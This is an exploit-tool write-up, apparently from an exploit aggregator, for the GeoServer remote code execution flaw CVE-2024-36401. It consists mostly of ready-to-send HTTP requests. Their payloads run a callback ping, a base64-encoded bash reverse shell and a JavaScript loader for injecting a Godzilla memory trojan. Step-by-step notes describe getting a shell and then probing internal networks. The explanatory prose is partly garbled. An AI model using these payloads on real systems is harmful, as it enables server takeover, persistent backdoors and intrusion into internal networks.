## https://sploitus.com/exploit?id=C45C8FBC-803B-551A-9E58-1B4F0A465FEB
# Geoserver CVE-2024-36401 Vulnerability Exploitation Tool
**Geoserver CVE-2024-36401**
**Environment:** JDK8
**Statement:** Used only for authorized testing. Any consequences caused by user abuse are not the author’s responsibility. Please comply with laws and regulations!
**Default payload:**
`POST /geoserver/wfs HTTP/1.1`
`User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36`
`Accept-Encoding: gzip, deflate, br`
`Accept: */*`
`Connection: close`
`Host: xxxx`
`Accept-Language: en-US;q=0.9,en;q=0.8`
`Cache-Control: max-age=0`
`Content-Type: application/xml`
`Content-Length: 356`
**exec(java.lang.Runtime.getRuntime(), 'ping wsn9.callback.red')**
Note here:
At this point, if you need to extract information using regular expressions, note that this is a basic identifier from the sf:archsites website. You need to first obtain its (*.*?) information, then concatenate it together. When checking for vulnerabilities, use `exec(java.lang.Runtime.getRuntime(), 'ping wsn9.callback.red')`. In fact, there’s no need to look for DNS records here. The simple logic is to check whether there are any abnormal classes, such as `java.lang.ClassCastException`. Of course, this is just the judgment logic. This response is actually 400, so be careful here. You need to check for error pages before performing data searches. First, you need to request this information. This information represents the (*.*?) that you can obtain. Then, assign it directly to a text variable, and call a function to concatenate the extracted information into the parameters. This will make the judgment logic more precise. If you always use this method, the chances of false positives are high. It will indicate that the sf:archsites cannot be found.
**Reversing the payload:**
`POST /geoserver/wfs HTTP/1.1`
`Host: xxxx`
`User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0`
`Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8`
`Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2`
`Connection: close`
`Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D`
`Upgrade-Insecure-Requests: 1`
`Sec-Fetch-Dest: document`
`Sec-Fetch-Mode: navigate`
`Sec-Fetch-Site: none`
`Sec-Fetch-User: ?1`
`Priority: u=0, i`
`Content-Type: application/xml`
`Content-Length: 438`
**exec(java.lang.Runtime.getRuntime(), 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')**
Note here:
Similarly, first extract the information using regular expressions, then concatenate it. Then, directly send the request. Here, `YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx` is encrypted in base64. When writing this, simply convert the input `bash -i >& /dev/tcp/127.0.0.1/9999 0>&1` to base64 format. Then, send the request. Similarly, look for the abnormal classes and determine the judgment logic.
**Memory Trojan injection classes:**
`POST /geoserver/wfs HTTP/1.1`
`User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36`
`Accept-Encoding: gzip, deflate, br`
`Accept: */*`
`Connection: close`
`Host: xxx`
`Accept-Language: en-US;q=0.9,en;q=0.8`
`Cache-Control: max-age=0`
`Content-Type: application/xml`
`Content-Length: 20383`
**eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), 'var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str);`)**
This code still has vulnerabilities. As per the usual practice, we first retrieve the value.
At “star”, insert the Base64-encoded memory Trojan code that you generated.
Then, proceed with the judgment logic.
Points where errors are likely to occur:
1. Reusing the code may lead to a 98% chance of misjudgment, resulting in an error like this:
https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd]
“Could not locate {http://www.openplans.org/spearfish}archsites in catalog.”
java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
In simple terms, the vulnerability is due to java.lang.ClassCastException.
Misjudgment means “Could not locate {http://www.openplans.org/spearfish}archsites in catalog.”
2. Judgment method:
Capture the called wfs:ReturnFeatureType>, assign it to the text-text call function method, concatenate it into the request, and judge the exceptions that occur during the response.
For the text-call function, we need to provide a value in advance to prevent null pointer exceptions. Concatenate it before the request, and judge the exceptions that occur during the response. This involves making judgments within an exception context.
Finally, we have implemented the creation of this vulnerability exploitation tool.
Let’s test the vulnerability.
Tool execution result.
Note: No output or prompts indicate the presence of a vulnerability. If there is a vulnerability, a + sign will appear.
Once the vulnerability is found, attempt to reverse-shell and test it online. If it works, conduct internal network tests.
Optimization may include adding custom memory Trojans, batch detection functions, etc.
After detecting the vulnerability and obtaining the endpoint, the reverse-shell attempt was successful.
Next, let’s try injecting the memory Trojan.
It shows that the memory Trojan injection was successful. Let’s connect to see if it works.
The connection is successful.
Note: Testing the memory Trojan. This GeoServer instance is running version 2.15.2. For more information, please contact us.
The memory Trojan injection for this version was successful.
Higher versions may fail. Other tests should be conducted by yourself.
Added functionality for custom memory Trojans.
# Update Log
Added ls tests and ping tests.
Fixed issues with memory Trojan injection.
Added recognition for Tomcat and Jetty.
Godzilla memory Trojans use Jetty environment for injection by default.
Custom memory Trojans can choose Tomcat environments for testing.
Batch versions have not been released yet.
[source-iocs-preserved method=java.lang.Class.forName("java.lang.Class"),java.lang.Class.forName("sun.misc.Unsafe")]